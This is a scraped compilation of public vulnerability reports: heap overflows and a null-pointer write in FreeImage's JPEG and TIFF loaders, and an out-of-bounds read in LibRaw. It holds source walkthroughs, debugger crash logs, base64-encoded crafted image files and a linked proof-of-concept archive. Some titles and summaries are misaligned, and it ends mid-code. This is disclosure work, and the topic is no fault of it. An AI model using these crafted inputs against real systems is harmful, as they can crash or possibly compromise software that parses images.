            jpeg\_read\_header(&cinfo, TRUE);                //<---- read components from file
......
            if((cinfo.output\_components \== 4) && (cinfo.out\_color\_space \== JCS\_CMYK)) {
......
            } else {
                // RGB or greyscale image              v------------ alloc memory function
                dib \= FreeImage\_AllocateHeader(header\_only, cinfo.output\_width, cinfo.output\_height, 8 \* cinfo.output\_components, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
            }
......
            if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) != JPEG\_CMYK)) {
......
            } else if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) \== JPEG\_CMYK)) {
......
            } else {
                // normal case (RGB or greyscale image)

                while (cinfo.output\_scanline < cinfo.output\_height) {
                    JSAMPROW dst \= FreeImage\_GetScanLine(dib, cinfo.output\_height \- cinfo.output\_scanline \- 1);

                    jpeg\_read\_scanlines(&cinfo, &dst, 1);       // <---------- write memory
                }

                // step 7b: swap red and blue components (see LibJPEG/jmorecfg.h: #define RGB\_RED, ...)
                // The default behavior of the JPEG library is kept "as is" because LibTIFF uses 
                // LibJPEG "as is".
......
    }

    return NULL;
}

FreeImage\_AllocateHeader() alloc memory by "output\_components", but FreeImage\_AllocateHeader function maybe replace default size with it.

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
.......
    // check pixel bit depth
    switch(type) {
        case FIT\_BITMAP:
            switch(bpp) {
                case 1:
                case 4:
                case 8:
                    break;
                case 16:
                    need\_masks \= TRUE;
                    break;
                case 24:
                case 32:
                    break;
                default:
                    bpp \= 8;                                                                    //<---- change bpp there
                    break;
            }
            break;
.......
        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);          //<\---- calc alloc size by bpp(num\_components)

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap-\>data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);                       //<\---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t 
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
    size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
    if(!header\_only) {
        const size\_t header\_size \= dib\_size;

        // pixels are aligned on a 16 bytes boundary
        dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<---alloc size by line lenght \* height, line lenght calc by width and bpp(num\_components)
......
    }

    return dib\_size;
}

but when we use jpeg\_read\_scanlines, the read size calc by "num\_components", usually equal "output\_components".

METHODDEF(void)
null\_convert (j\_decompress\_ptr cinfo,
          JSAMPIMAGE input\_buf, JDIMENSION input\_row,
          JSAMPARRAY output\_buf, int num\_rows)
{
  register JSAMPROW outptr;
  register JSAMPROW inptr;
  register JDIMENSION count;
  register int num\_comps \= cinfo\->num\_components;
  JDIMENSION num\_cols \= cinfo\->output\_width;
  int ci;

  while (\--num\_rows \>= 0) {
    /\* It seems fastest to make a separate pass for each component. \*/
    for (ci \= 0; ci < num\_comps; ci++) {
      inptr \= input\_buf\[ci\]\[input\_row\];
      outptr \= output\_buf\[0\] + ci;
      for (count \= num\_cols; count \> 0; count\--) {
    \*outptr \= \*inptr++; /\* don't need GETJSAMPLE() here \*/        //<---- copy size calc by width(output\_width) and bpp(num\_components)
    outptr += num\_comps;
      }
    }
    input\_row++;
    output\_buf++;
  }
}

callstack

FreeImage.dll!null\_convert(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int input\_row, unsigned char \* \* output\_buf, int num\_rows)
FreeImage.dll!sep\_upsample(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int \* in\_row\_group\_ctr, unsigned int in\_row\_groups\_avail, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!process\_data\_simple\_main(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!jpeg\_read\_scanlines(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* scanlines, unsigned int max\_lines)
FreeImage.dll!Load(FreeImageIO \* io, void \* handle, int page, int flags, void \* data)
FreeImage.dll!FreeImage\_LoadFromHandle(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle, int flags)
FreeImage.dll!FreeImage\_Load(FREE\_IMAGE\_FORMAT fif, const char \* filename, int flags)

Finally, it will cause the heap overflow if we make the "components" not in \[1, 2, 3\]. Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(5cb0.349c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=608e0000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0133f5c8 ebp\=0133f5f4 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(5cb0.349c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=08539007 ebx\=00000009 ecx\=00000880 edx\=073590c8 esi\=00000721 edi\=00000000
eip\=1009aec5 esp\=0133f6cc ebp\=00000000 iopl\=0         nv up ei pl nz na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010206
FreeImage!jinit\_color\_deconverter+0x935:
1009aec5 8808            mov     byte ptr \[eax\],cl          ds:002b:08539007\=??
0:000\> db eax\-0x20
08538fe7  00 00 00 00 00 80 00 00-00 c0 c0 c0 c0 c0 80 c0  ................
08538ff7  c0 c0 c0 c0 d0 d0 d0 80\-d0 ?? ?? ?? ?? ?? ?? ??  .........???????
08539007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539027  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539037  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539047  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
08539057  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 0133f6d8 1009a383     00000808 073536cc 00000000 FreeImage!jinit\_color\_deconverter+0x935 (FPO: \[Uses EBP\] \[5,0,1\])
01 0133f704 100991d3     073536c0 07354fe0 07355008 FreeImage!jinit\_upsampler+0x263 (FPO: \[Uses EBP\] \[7,1,4\])
02 0133f734 10085bfa     0133f830 0133fa18 0133f754 FreeImage!jinit\_d\_main\_controller+0x1f3 (FPO: \[Uses EBP\] \[4,0,4\])
03 0133f74c 1002283f     00000000 0133fa18 00000001 FreeImage!jpeg\_read\_scanlines+0x8a (FPO: \[3,0,1\])
04 0133fa48 1000d9de     0133fa9c 07339fc8 ffffffff FreeImage!jpeg\_freeimage\_dst+0x1b1f (FPO: \[5,183,3\])
05 0133fa7c 1000da60     00000002 0133fa9c 07339fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
06 0133faa8 00b0107b     00000002 07335fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/jpeg;base64,/9j/2wADAP/KACMICAgICAkBETLvESEDESH/QSF5IgAxETExFDExIjExETEx/9oACAF5AAAAAA\==

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40265: FreeImage / Bugs / #337 A heap_overflow on PluginJPEG.cpp when Load() SOF(Start Of Frame) JPEG

A heap overflow vulnerability in FreeImage 1.18.0 via the ofLoad function in PluginTIFF.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load TIFF files, "ImageWidth" and "TileWidth" is read from file. FreeImage alloc memory size is controlled by "ImageWidth", but FreeImage write memory size if controlled by "TileWidth". if result of "TileWidth" diff with "ImageWidth", it will writing data more than the allocated memory.

When the program reads a TIFF file, it will be handed to the Load function of the 'PluginTIFF.cpp' file,  
in Load function, we alloc memory by CreateImageType(), and write memory in Load function with "memcpy". And the "height", "width", "bitspersample", "samplesperpixel", "tileRowSize" and "imageRowSize" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
......
    uint32\_t height \= 0; 
    uint32\_t width \= 0; 
    uint16\_t bitspersample \= 1;
    uint16\_t samplesperpixel \= 1;
......
        TIFFGetField(tif, TIFFTAG\_IMAGEWIDTH, &width);
        TIFFGetField(tif, TIFFTAG\_IMAGELENGTH, &height);
        TIFFGetField(tif, TIFFTAG\_SAMPLESPERPIXEL, &samplesperpixel);
        TIFFGetField(tif, TIFFTAG\_BITSPERSAMPLE, &bitspersample);
        TIFFGetField(tif, TIFFTAG\_ROWSPERSTRIP, &rowsperstrip);             
        TIFFGetField(tif, TIFFTAG\_ICCPROFILE, &iccSize, &iccBuf);
        TIFFGetFieldDefaulted(tif, TIFFTAG\_PLANARCONFIG, &planar\_config);
.......
        // \---------------------------------------------------------------------------------

        if(loadMethod \== LoadAsRBGA) {
......
        } else if(loadMethod \== LoadAsTiled) {
            // \---------------------------------------------------------------------------------
            // Tiled image loading
            // \---------------------------------------------------------------------------------

            uint32\_t tileWidth, tileHeight;
            uint32\_t src\_line \= 0;

            // create a new DIB                                                     v\-------- alloc memory there
            dib \= CreateImageType( header\_only, image\_type, width, height, bitspersample, samplesperpixel);
......
                // calculate src line and dst pitch
                unsigned dst\_pitch \= FreeImage\_GetPitch(dib);
                uint32\_t tileRowSize \= (uint32\_t)TIFFTileRowSize(tif);
                uint32\_t imageRowSize \= (uint32\_t)TIFFScanlineSize(tif);

                // In the tiff file the lines are saved from up to down 
                // In a DIB the lines must be saved from down to up

                BYTE \*bits \= FreeImage\_GetScanLine(dib, height \- 1);

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                 // <---- write memory there     
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) {
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }
......
}

CreateImageType() alloc memory by "width","height","bitspersample" and "samplesperpixel".

static FIBITMAP\* 
CreateImageType(BOOL header\_only, FREE\_IMAGE\_TYPE fit, int width, int height, uint16\_t bitspersample, uint16\_t samplesperpixel) {
    FIBITMAP \*dib \= NULL;
......
    int bpp \= bitspersample \* samplesperpixel;      //<---- bpp == bitspersample \* samplesperpixel
......
    dib \= FreeImage\_AllocateHeader(header\_only, width, height, bpp, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
    return dib;
}

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
......

        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);      //<---- calc alloc size by bpp, width and height

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap\->data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);   //<---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
if(!header\_only) {
const size\_t header\_size \= dib\_size;

// pixels are aligned on a 16 bytes boundary
dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<--- alloc size by line lenght \* height, line lenght calc by width and bpp( \= bitspersample \* samplesperpixel)
......
}

return dib\_size;
}

but when we write memory, the read size calc by "tileWidth" and "width", loop (tileHeight//height) \* (tileWidth//width) times.

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                                            //<-- loop tileHeight//height times
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) { //<-- loop tileWidth//width times
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }

Finally, it will cause the heap overflow if we make the result of "TileWidth" diff with "ImageWidth". Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8b8c.710): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=dd680000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=006ff63c ebp\=006ff668 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8b8c.710): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000049 ebx\=00000008 ecx\=00000001 edx\=00000001 esi\=06667fd0 edi\=06662000
eip\=102a6e8f esp\=006ff86c ebp\=006ffa58 iopl\=0         nv up ei pl nz na po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010202
FreeImage!memcpy+0x51f:
102a6e8f 8807            mov     byte ptr \[edi\],al          ds:002b:06662000\=??
0:000\> db edi\-0x20
06661fe0  00 00 00 00 00 00 00 00\-2a 2a 2a 2a 2a 2a 2a 2a  ........\*\*\*\*\*\*\*\*
06661ff0  49 49 49 49 49 49 49 49-49 49 49 49 49 49 49 49  IIIIIIIIIIIIIIII
06662000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 006ff870 100378e8     06662000 06667fd0 00000001 FreeImage!memcpy+0x51f (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 669\] 
01 006ffabc 1000d9de     006ffb10 06619fc8 06667fd0 FreeImage!\_TIFFmemcmp+0x2d28 (FPO: \[5,139,3\])
02 006ffaf0 1000da60     00000012 006ffb10 06619fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 006ffb1c 00b0107b     00000012 06615fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAGAAABAwABAAAAMAAwMAEBAwABAAAAMAAwMBcBBAAYAAAACAAAABEBAwABAAAAMAABABYBAwABAAAAMAABAEIBAwABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\=

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40263: FreeImage / Bugs / #336 A heap_overflow on PluginTIFF.cpp when Load() TIFF

Buffer Overflow vulnerability in LibRaw::stretch() function in libraw\src\postprocessing\aspect_ratio.cpp.

**Description**

An out-of-bounds read vulnerability exists within the "LibRaw::stretch()" function (libraw\\src\\postprocessing\\aspect\_ratio.cpp) when parsing a crafted CRW file.

**Steps to Reproduce**

(poc archive password= girlelecta):  
https://drive.google.com/open?id=1Y70DxvWYfsNS7DBu4cuoUVOoMOyheA8O

cmd:  
magick.exe convert poc.crw new.png

Upon running this, following crash happens (Note: I enabled page heap on magick.exe):

Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64  
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "C:\\Program Files\\ImageMagick-7.0.9-Q16\\magick.exe" convert E:\\Workspace\\poc.crw E:\\Workspace\\new.png

\*\*\*\*\*\*\*\*\*\*\*\*\* Path validation summary \*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Symbol search path is: srv\*  
Executable search path is:  
ModLoad: 00007ff7 93fc0000 00007ff7 93fcc000 image00007ff7 93fc0000  
ModLoad: 00007ff8 87ea0000 00007ff8 88090000 ntdll.dll  
ModLoad: 00007ff8 70fb0000 00007ff8 71021000 C:\\WINDOWS\\System32\\verifier.dll  
Page heap: pid 0x2ADC: page heap enabled with flags 0x3.  
ModLoad: 00007ff8 87bb0000 00007ff8 87c62000 C:\\WINDOWS\\System32\\KERNEL32.DLL  
ModLoad: 00007ff8 85820000 00007ff8 85ac3000 C:\\WINDOWS\\System32\\KERNELBASE.dll  
ModLoad: 00007ff8 6e630000 00007ff8 6e808000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickCore\_.dll  
ModLoad: 00007ff8 6e550000 00007ff8 6e629000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_MagickWand\_.dll  
ModLoad: 00007ff8 6e460000 00007ff8 6e54f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 000002c7 22170000 000002c7 2225f000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCR120.dll  
ModLoad: 00007ff8 74a90000 00007ff8 74ab2000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\VCOMP120.DLL  
ModLoad: 00007ff8 876f0000 00007ff8 87884000 C:\\WINDOWS\\System32\\USER32.dll  
ModLoad: 00007ff8 85e80000 00007ff8 85ea1000 C:\\WINDOWS\\System32\\win32u.dll  
ModLoad: 00007ff8 862f0000 00007ff8 86316000 C:\\WINDOWS\\System32\\GDI32.dll  
ModLoad: 00007ff8 855b0000 00007ff8 85744000 C:\\WINDOWS\\System32\\gdi32full.dll  
ModLoad: 00007ff8 85eb0000 00007ff8 85f4e000 C:\\WINDOWS\\System32\\msvcp\_win.dll  
ModLoad: 00007ff8 87c70000 00007ff8 87d13000 C:\\WINDOWS\\System32\\ADVAPI32.dll  
ModLoad: 00007ff8 86680000 00007ff8 8671e000 C:\\WINDOWS\\System32\\msvcrt.dll  
ModLoad: 00007ff8 861f0000 00007ff8 86287000 C:\\WINDOWS\\System32\\sechost.dll  
ModLoad: 00007ff8 85ad0000 00007ff8 85bca000 C:\\WINDOWS\\System32\\ucrtbase.dll  
ModLoad: 00007ff8 87d40000 00007ff8 87e60000 C:\\WINDOWS\\System32\\RPCRT4.dll  
ModLoad: 00007ff8 74f30000 00007ff8 74f44000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_bzlib\_.dll  
ModLoad: 00007ff8 86600000 00007ff8 8666f000 C:\\WINDOWS\\System32\\WS2\_32.dll  
ModLoad: 00007ff8 6e400000 00007ff8 6e456000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lcms\_.dll  
ModLoad: 00007ff8 6e360000 00007ff8 6e400000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_freetype\_.dll  
ModLoad: 00007ff8 73500000 00007ff8 73513000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_lqr\_.dll  
ModLoad: 00007ff8 73000000 00007ff8 73018000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_zlib\_.dll  
ModLoad: 00007ff8 6e100000 00007ff8 6e355000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_glib\_.dll  
ModLoad: 00007ff8 86720000 00007ff8 86e05000 C:\\WINDOWS\\System32\\SHELL32.dll  
ModLoad: 00007ff8 857d0000 00007ff8 8581a000 C:\\WINDOWS\\System32\\cfgmgr32.dll  
ModLoad: 00007ff8 85f50000 00007ff8 85ff9000 C:\\WINDOWS\\System32\\shcore.dll  
ModLoad: 00007ff8 86e10000 00007ff8 87146000 C:\\WINDOWS\\System32\\combase.dll  
ModLoad: 00007ff8 85d20000 00007ff8 85da0000 C:\\WINDOWS\\System32\\bcryptPrimitives.dll  
ModLoad: 00007ff8 84e30000 00007ff8 855af000 C:\\WINDOWS\\System32\\windows.storage.dll  
ModLoad: 00007ff8 84e10000 00007ff8 84e2f000 C:\\WINDOWS\\System32\\profapi.dll  
ModLoad: 00007ff8 84d80000 00007ff8 84dca000 C:\\WINDOWS\\System32\\powrprof.dll  
ModLoad: 00007ff8 84d70000 00007ff8 84d80000 C:\\WINDOWS\\System32\\UMPDC.dll  
ModLoad: 00007ff8 87910000 00007ff8 87962000 C:\\WINDOWS\\System32\\shlwapi.dll  
ModLoad: 00007ff8 84dd0000 00007ff8 84de1000 C:\\WINDOWS\\System32\\kernel.appcore.dll  
ModLoad: 00007ff8 857b0000 00007ff8 857c7000 C:\\WINDOWS\\System32\\cryptsp.dll  
ModLoad: 00007ff8 87a50000 00007ff8 87ba6000 C:\\WINDOWS\\System32\\ole32.dll  
ModLoad: 00007ff8 842f0000 00007ff8 8432a000 C:\\WINDOWS\\SYSTEM32\\IPHLPAPI.DLL  
ModLoad: 00007ff8 84330000 00007ff8 843fa000 C:\\WINDOWS\\SYSTEM32\\DNSAPI.dll  
ModLoad: 00007ff8 87900000 00007ff8 87908000 C:\\WINDOWS\\System32\\NSI.dll  
ModLoad: 00007ff8 6e090000 00007ff8 6e0f8000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libxml\_.dll  
(2adc.2ae0): Break instruction exception - code 80000003 (first chance)  
ntdll!LdrInitShimEngineDynamic+0x35c:  
00007ff8 87f7121c cc int 3  
0:000> g  
ModLoad: 00007ff8 86000000 00007ff8 8602e000 C:\\WINDOWS\\System32\\IMM32.DLL  
ModLoad: 00007ff8 77200000 00007ff8 7720a000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\modules\\coders\\IM\_MOD\_RL\_DNG\_.dll  
ModLoad: 00007ff8 5fe70000 00007ff8 5ff74000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\CORE\_RL\_libraw\_.dll  
ModLoad: 00007ff8 6df60000 00007ff8 6e006000 C:\\Program Files\\ImageMagick-7.0.9-Q16\\MSVCP120.dll  
(2adc.2ae0): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
CORE\_RL\_libraw\_!LibRaw::stretch+0x17d:  
00007ff8 5febc7ed 430fb70402 movzx eax,word ptr \[r10+r8\] ds:000002c7 284ac5c0=????  
0:000> k  
Child-SP RetAddr Call Site  
00 000000e1 ef2f3af0 00007ff8 5fedb222 CORE\_RL\_libraw\_!LibRaw::stretch+0x17d  
01 000000e1 ef2f3b70 00007ff8 772016b4 CORE\_RL\_libraw\_!LibRaw::dcraw\_process+0x562  
02 000000e1 ef2f3be0 00007ff8 6e6704ac IM\_MOD\_RL\_DNG\_+0x16b4  
03 000000e1 ef2f5c70 00007ff8 6e670fbc CORE\_RL\_MagickCore\_!ReadImage+0x47c  
04 000000e1 ef2fadc0 00007ff8 6e569636 CORE\_RL\_MagickCore\_!ReadImages+0x1ac  
05 000000e1 ef2fbe40 00007ff8 6e5ac907 CORE\_RL\_MagickWand\_!ConvertImageCommand+0x566  
06 000000e1 ef2fd760 00007ff7 93fc130b CORE\_RL\_MagickWand\_!MagickCommandGenesis+0x5a7  
07 000000e1 ef2fe920 00007ff7 93fc13ec image00007ff7\_93fc0000+0x130b  
08 000000e1 ef2ffb30 00007ff7 93fc1783 image00007ff7\_93fc0000+0x13ec  
09 000000e1 ef2ffb60 00007ff8 87bc7bd4 image00007ff7\_93fc0000+0x1783  
0a 000000e1 ef2ffb90 00007ff8 87f0ced1 KERNEL32!BaseThreadInitThunk+0x14  
0b 000000e1 ef2ffbc0 00000000 00000000 ntdll!RtlUserThreadStart+0x21

**System Configuration**

*   ImageMagick:  
    Version: ImageMagick-7.0.9-Q16 https://imagemagick.org  
    License: https://imagemagick.org/script/license.php
*   Environment (Operating system, version and so on):  
    Distributor ID: Microsoft Windows  
    Description: Windows 10

CVE-2020-22628: "LibRaw::stretch()" Out-of-bounds read vulnerability · Issue #269 · LibRaw/LibRaw

FreeImage before 1.18.0, ReadPalette function in PluginTIFF.cpp is vulnerabile to null pointer dereference.

> tl;dr:  
> When Load TIFF format files, "bitspersample" and "samplesperpixel" are read from file. If the variable biBitCount < 16 witch calc by "bitspersample" and "samplesperpixel", FreeImage will try to write nullptr.

When the program reads a TIFF format file, it will be handed to the Load() function of the 'PluginTIFF.cpp' file. And it will call ReadPalette().  
In ReadPalette function, it call FreeImage\_GetPalette() to get variable "pal", then write to variable "pal" without check.

static void 
ReadPalette(TIFF \*tiff, uint16\_t photometric, uint16\_t bitspersample, FIBITMAP \*dib) {
    RGBQUAD \*pal \= FreeImage\_GetPalette(dib);               // <---- get pal (maybe null)

    switch(photometric) {                                   // <---- write pal every case
        case PHOTOMETRIC\_MINISBLACK:    // bitmap and greyscale image types
        case PHOTOMETRIC\_MINISWHITE:
            // Monochrome image

            if (bitspersample \== 1) {
                if (photometric \== PHOTOMETRIC\_MINISWHITE) {
                    pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 255;         //<---- write
                    pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 0;
                } else {
                    pal\[0\].rgbRed \= pal\[0\].rgbGreen \= pal\[0\].rgbBlue \= 0;          //<---- write
